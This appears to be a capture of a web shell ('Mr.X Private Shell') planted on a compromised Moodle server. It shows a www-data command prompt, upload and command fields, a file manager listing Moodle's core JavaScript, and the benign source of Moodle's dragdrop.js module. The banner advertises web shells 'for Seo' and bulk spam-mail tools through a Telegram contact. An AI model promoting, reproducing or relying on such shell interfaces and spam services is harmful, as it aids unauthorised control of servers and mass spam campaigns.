__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.148: ~ $
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/*
 * JavaScript to handle drag operations, including automatic scrolling.
 *
 * Note: this module is defined statically. It is a singleton. You
 * can only have one use of it active at any time. However, you
 * can only drag one thing at a time, this is not a problem in practice.
 *
 * @module     core/dragdrop
 * @copyright  2016 The Open University
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @since      3.6
 */
define(['jquery', 'core/autoscroll'], function($, autoScroll) {
    var dragdrop = {
        /**
         * A boolean or options argument depending on whether browser supports passive events.
         * @private
         */
        eventCaptureOptions: {passive: false, capture: true},

        /**
         * Drag proxy if any.
         * @private
         */
        dragProxy: null,

        /**
         * Function called on move.
         * @private
         */
        onMove: null,

        /**
         * Function called on drop.
         * @private
         */
        onDrop: null,

        /**
         * Initial position of proxy at drag start.
         */
        initialPosition: null,

        /**
         * Initial page X of cursor at drag start.
         */
        initialX: null,

        /**
         * Initial page Y of cursor at drag start.
         */
        initialY: null,

        /**
         * If touch event is in progress, this will be the id, otherwise null
         */
        touching: null,

        /**
         * Prepares to begin a drag operation - call with a mousedown or touchstart event.
         *
         * If the returned object has 'start' true, then you can set up a drag proxy, and call
         * start. This function will call preventDefault automatically regardless of whether
         * starting or not.
         *
         * @public
         * @param {Object} event Event (should be either mousedown or touchstart)
         * @return {Object} Object with start (boolean flag) and x, y (only if flag true) values
         */
        prepare: function(event) {
            event.preventDefault();
            var start;
            if (event.type === 'touchstart') {
                // For touch, start if there's at least one touch and we are not currently doing
                // a touch event.
                start = (dragdrop.touching === null) && event.changedTouches.length > 0;
            } else {
                // For mousedown, start if it's the left button.
                start = event.which === 1;
            }
            if (start) {
                var details = dragdrop.getEventXY(event);
                details.start = true;
                return details;
            } else {
                return {start: false};
            }
        },

        /**
         * Call to start a drag operation, in response to a mouse down or touch start event.
         * Normally call this after calling prepare and receiving start true (you can probably
         * skip prepare if only supporting drag not touch).
         *
         * Note: The caller is responsible for creating a 'drag proxy' which is the
         * thing that actually gets dragged. At present, this doesn't really work
         * properly unless it is added directly within the body tag.
         *
         * You also need to ensure that there is CSS so the proxy is absolutely positioned,
         * and styled to look like it is floating.
         *
         * You also need to absolutely position the proxy where you want it to start.
         *
         * @public
         * @param {Object} event Event (should be either mousedown or touchstart)
         * @param {jQuery} dragProxy An absolute-positioned element for dragging
         * @param {Object} onMove Function that receives X and Y page locations for a move
         * @param {Object} onDrop Function that receives X and Y page locations when dropped
         */
        start: function(event, dragProxy, onMove, onDrop) {
            var xy = dragdrop.getEventXY(event);
            dragdrop.initialX = xy.x;
            dragdrop.initialY = xy.y;
            dragdrop.initialPosition = dragProxy.offset();
            dragdrop.dragProxy = dragProxy;
            dragdrop.onMove = onMove;
            dragdrop.onDrop = onDrop;

            switch (event.type) {
                case 'mousedown':
                    // Cannot use jQuery 'on' because events need to not be passive.
                    dragdrop.addEventSpecial('mousemove', dragdrop.mouseMove);
                    dragdrop.addEventSpecial('mouseup', dragdrop.mouseUp);
                    break;
                case 'touchstart':
                    dragdrop.addEventSpecial('touchend', dragdrop.touchEnd);
                    dragdrop.addEventSpecial('touchcancel', dragdrop.touchEnd);
                    dragdrop.addEventSpecial('touchmove', dragdrop.touchMove);
                    dragdrop.touching = event.changedTouches[0].identifier;
                    break;
                default:
                    throw new Error('Unexpected event type: ' + event.type);
            }
            autoScroll.start(dragdrop.scroll);
        },

        /**
         * Adds an event listener with special event capture options (capture, not passive). If the
         * browser does not support passive events, it will fall back to the boolean for capture.
         *
         * @private
         * @param {Object} event Event type string
         * @param {Object} handler Handler function
         */
        addEventSpecial: function(event, handler) {
            try {
                window.addEventListener(event, handler, dragdrop.eventCaptureOptions);
            } catch (ex) {
                dragdrop.eventCaptureOptions = true;
                window.addEventListener(event, handler, dragdrop.eventCaptureOptions);
            }
        },

        /**
         * Gets X/Y co-ordinates of an event, which can be either touchstart or mousedown.
         *
         * @private
         * @param {Object} event Event (should be either mousedown or touchstart)
         * @return {Object} X/Y co-ordinates
         */
        getEventXY: function(event) {
            switch (event.type) {
                case 'touchstart':
                    return {x: event.changedTouches[0].pageX,
                            y: event.changedTouches[0].pageY};
                case 'mousedown':
                    return {x: event.pageX, y: event.pageY};
                default:
                    throw new Error('Unexpected event type: ' + event.type);
            }
        },

        /**
         * Event handler for touch move.
         *
         * @private
         * @param {Object} e Event
         */
        touchMove: function(e) {
            e.preventDefault();
            for (var i = 0; i < e.changedTouches.length; i++) {
                if (e.changedTouches[i].identifier === dragdrop.touching) {
                    dragdrop.handleMove(e.changedTouches[i].pageX, e.changedTouches[i].pageY);
                }
            }
        },

        /**
         * Event handler for mouse move.
         *
         * @private
         * @param {Object} e Event
         */
        mouseMove: function(e) {
            dragdrop.handleMove(e.pageX, e.pageY);
        },

        /**
         * Shared handler for move event (mouse or touch).
         *
         * @private
         * @param {number} pageX X co-ordinate
         * @param {number} pageY Y co-ordinate
         */
        handleMove: function(pageX, pageY) {
            // Move the drag proxy, not letting you move it out of screen or window bounds.
            var current = dragdrop.dragProxy.offset();
            var topOffset = current.top - parseInt(dragdrop.dragProxy.css('top'));
            var leftOffset = current.left - parseInt(dragdrop.dragProxy.css('left'));
            var maxY = $(document).height() - dragdrop.dragProxy.outerHeight() - topOffset;
            var maxX = $(document).width() - dragdrop.dragProxy.outerWidth() - leftOffset;
            var minY = -topOffset;
            var minX = -leftOffset;
            var initial = dragdrop.initialPosition;
            var position = {
                top: Math.max(minY, Math.min(maxY, initial.top + (pageY - dragdrop.initialY) - topOffset)),
                left: Math.max(minX, Math.min(maxX, initial.left + (pageX - dragdrop.initialX) - leftOffset))
            };
            dragdrop.dragProxy.css(position);

            // Trigger move handler.
            dragdrop.onMove(pageX, pageY, dragdrop.dragProxy);
        },

        /**
         * Event handler for touch end.
         *
         * @private
         * @param {Object} e Event
         */
        touchEnd: function(e) {
            e.preventDefault();
            for (var i = 0; i < e.changedTouches.length; i++) {
                if (e.changedTouches[i].identifier === dragdrop.touching) {
                    dragdrop.handleEnd(e.changedTouches[i].pageX, e.changedTouches[i].pageY);
                }
            }
        },

        /**
         * Event handler for mouse up.
         *
         * @private
         * @param {Object} e Event
         */
        mouseUp: function(e) {
            dragdrop.handleEnd(e.pageX, e.pageY);
        },

        /**
         * Shared handler for end drag (mouse or touch).
         *
         * @private
         * @param {number} pageX X
         * @param {number} pageY Y
         */
        handleEnd: function(pageX, pageY) {
            if (dragdrop.touching !== null) {
                window.removeEventListener('touchend', dragdrop.touchEnd, dragdrop.eventCaptureOptions);
                window.removeEventListener('touchcancel', dragdrop.touchEnd, dragdrop.eventCaptureOptions);
                window.removeEventListener('touchmove', dragdrop.touchMove, dragdrop.eventCaptureOptions);
                dragdrop.touching = null;
            } else {
                window.removeEventListener('mousemove', dragdrop.mouseMove, dragdrop.eventCaptureOptions);
                window.removeEventListener('mouseup', dragdrop.mouseUp, dragdrop.eventCaptureOptions);
            }
            autoScroll.stop();
            dragdrop.onDrop(pageX, pageY, dragdrop.dragProxy);
        },

        /**
         * Called when the page scrolls.
         *
         * @private
         * @param {number} offset Amount of scroll
         */
        scroll: function(offset) {
            // Move the proxy to match.
            var maxY = $(document).height() - dragdrop.dragProxy.outerHeight();
            var currentPosition = dragdrop.dragProxy.offset();
            currentPosition.top = Math.min(maxY, currentPosition.top + offset);
            dragdrop.dragProxy.css(currentPosition);
        }
    };

    return {
        /**
         * Prepares to begin a drag operation - call with a mousedown or touchstart event.
         *
         * If the returned object has 'start' true, then you can set up a drag proxy, and call
         * start. This function will call preventDefault automatically regardless of whether
         * starting or not.
         *
         * @param {Object} event Event (should be either mousedown or touchstart)
         * @return {Object} Object with start (boolean flag) and x, y (only if flag true) values
         */
        prepare: dragdrop.prepare,

        /**
         * Call to start a drag operation, in response to a mouse down or touch start event.
         * Normally call this after calling prepare and receiving start true (you can probably
         * skip prepare if only supporting drag not touch).
         *
         * Note: The caller is responsible for creating a 'drag proxy' which is the
         * thing that actually gets dragged. At present, this doesn't really work
         * properly unless it is added directly within the body tag.
         *
         * You also need to ensure that there is CSS so the proxy is absolutely positioned,
         * and styled to look like it is floating.
         *
         * You also need to absolutely position the proxy where you want it to start.
         *
         * @param {Object} event Event (should be either mousedown or touchstart)
         * @param {jQuery} dragProxy An absolute-positioned element for dragging
         * @param {Object} onMove Function that receives X and Y page locations for a move
         * @param {Object} onDrop Function that receives X and Y page locations when dropped
         */
        start: dragdrop.start
    };
});

Filemanager

Name Type Size Permission Actions
bulkactions Folder 0755
check Folder 0755
comboboxsearch Folder 0755
datafilter Folder 0755
emoji Folder 0755
local Folder 0755
moodlenet Folder 0755
adapter.js File 123.08 KB 0644
addblockmodal.js File 4.34 KB 0644
ajax.js File 11.97 KB 0644
aria.js File 1011 B 0644
auto_rows.js File 3.46 KB 0644
autoscroll.js File 6.49 KB 0644
backoff_timer.js File 4.98 KB 0644
chart_axis.js File 7.39 KB 0644
chart_bar.js File 3.08 KB 0644
chart_base.js File 11.36 KB 0644
chart_builder.js File 1.65 KB 0644
chart_line.js File 2.08 KB 0644
chart_output.js File 1.08 KB 0644
chart_output_base.js File 2.03 KB 0644
chart_output_chartjs.js File 11.5 KB 0644
chart_output_htmltable.js File 3.3 KB 0644
chart_pie.js File 3.03 KB 0644
chart_series.js File 8.35 KB 0644
chartjs-lazy.js File 497.88 KB 0644
chartjs.js File 913 B 0644
checkbox-toggleall.js File 12.78 KB 0644
config.js File 978 B 0644
copy_to_clipboard.js File 7.38 KB 0644
custom_interaction_events.js File 22.18 KB 0644
datafilter.js File 17.92 KB 0644
dragdrop.js File 12.92 KB 0644
drawer.js File 3.49 KB 0644
drawer_events.js File 967 B 0644
dropzone.js File 5.71 KB 0644
dynamic_tabs.js File 6.67 KB 0644
edit_switch.js File 3.45 KB 0644
event.js File 2.53 KB 0644
event_dispatcher.js File 2.79 KB 0644
fetch.js File 9.4 KB 0644
first.js File 1.33 KB 0644
form-autocomplete.js File 53.74 KB 0644
form-cohort-selector.js File 2.5 KB 0644
form-course-selector.js File 3.77 KB 0644
fragment.js File 5.03 KB 0644
fullscreen.js File 1.62 KB 0644
icon_system.js File 3.39 KB 0644
icon_system_fontawesome.js File 5.35 KB 0644
icon_system_standard.js File 1.96 KB 0644
inplace_editable.js File 16.82 KB 0644
key_codes.js File 1.34 KB 0644
loadingicon.js File 3.88 KB 0644
localstorage.js File 2.24 KB 0644
log.js File 1.74 KB 0644
loglevel.js File 12.38 KB 0644
menu_navigation.js File 9.2 KB 0644
modal.js File 36.33 KB 0644
modal_backdrop.js File 4.17 KB 0644
modal_cancel.js File 1.6 KB 0644
modal_copy_to_clipboard.js File 3.75 KB 0644
modal_delete_cancel.js File 2.36 KB 0644
modal_events.js File 1.28 KB 0644
modal_factory.js File 5.91 KB 0644
modal_registry.js File 2.26 KB 0644
modal_save_cancel.js File 2.34 KB 0644
moremenu.js File 10.3 KB 0644
mustache.js File 28.75 KB 0644
network.js File 9.66 KB 0644
normalise.js File 2.43 KB 0644
notification.js File 11.57 KB 0644
page_global.js File 5.38 KB 0644
paged_content.js File 2.87 KB 0644
paged_content_events.js File 1.17 KB 0644
paged_content_factory.js File 20.61 KB 0644
paged_content_pages.js File 11.75 KB 0644
paged_content_paging_bar.js File 20.36 KB 0644
paged_content_paging_bar_limit_selector.js File 2.36 KB 0644
paged_content_paging_dropdown.js File 7.36 KB 0644
pagehelpers.js File 5.38 KB 0644
pending.js File 4.46 KB 0644
permissionmanager.js File 9.77 KB 0644
popover_region_controller.js File 13.16 KB 0644
popper.js File 79.2 KB 0644
popper2.js File 61.59 KB 0644
prefetch.js File 5.82 KB 0644
process_monitor.js File 3.55 KB 0644
pubsub.js File 2.17 KB 0644
reactive.js File 1.38 KB 0644
scroll_manager.js File 5.5 KB 0644
sessionstorage.js File 2.22 KB 0644
showhidesettings.js File 11.82 KB 0644
showmore.js File 1.83 KB 0644
sortable_list.js File 29.62 KB 0644
sticky-footer.js File 3.16 KB 0644
storage_validation.js File 1.36 KB 0644
storagewrapper.js File 5.36 KB 0644
stored_progress.js File 3.15 KB 0644
str.js File 10.01 KB 0644
tag.js File 15.02 KB 0644
templates.js File 10.83 KB 0644
toast.js File 4.26 KB 0644
togglesensitive.js File 5.15 KB 0644
tooltip.js File 4.09 KB 0644
tree.js File 18.39 KB 0644
truncate.js File 6.56 KB 0644
url.js File 3.65 KB 0644
user_date.js File 9.27 KB 0644
userfeedback.js File 2.91 KB 0644
usermenu.js File 5.13 KB 0644
utility.js File 7.5 KB 0644
utils.js File 4.83 KB 0644
yui.js File 1.13 KB 0644
Filemanager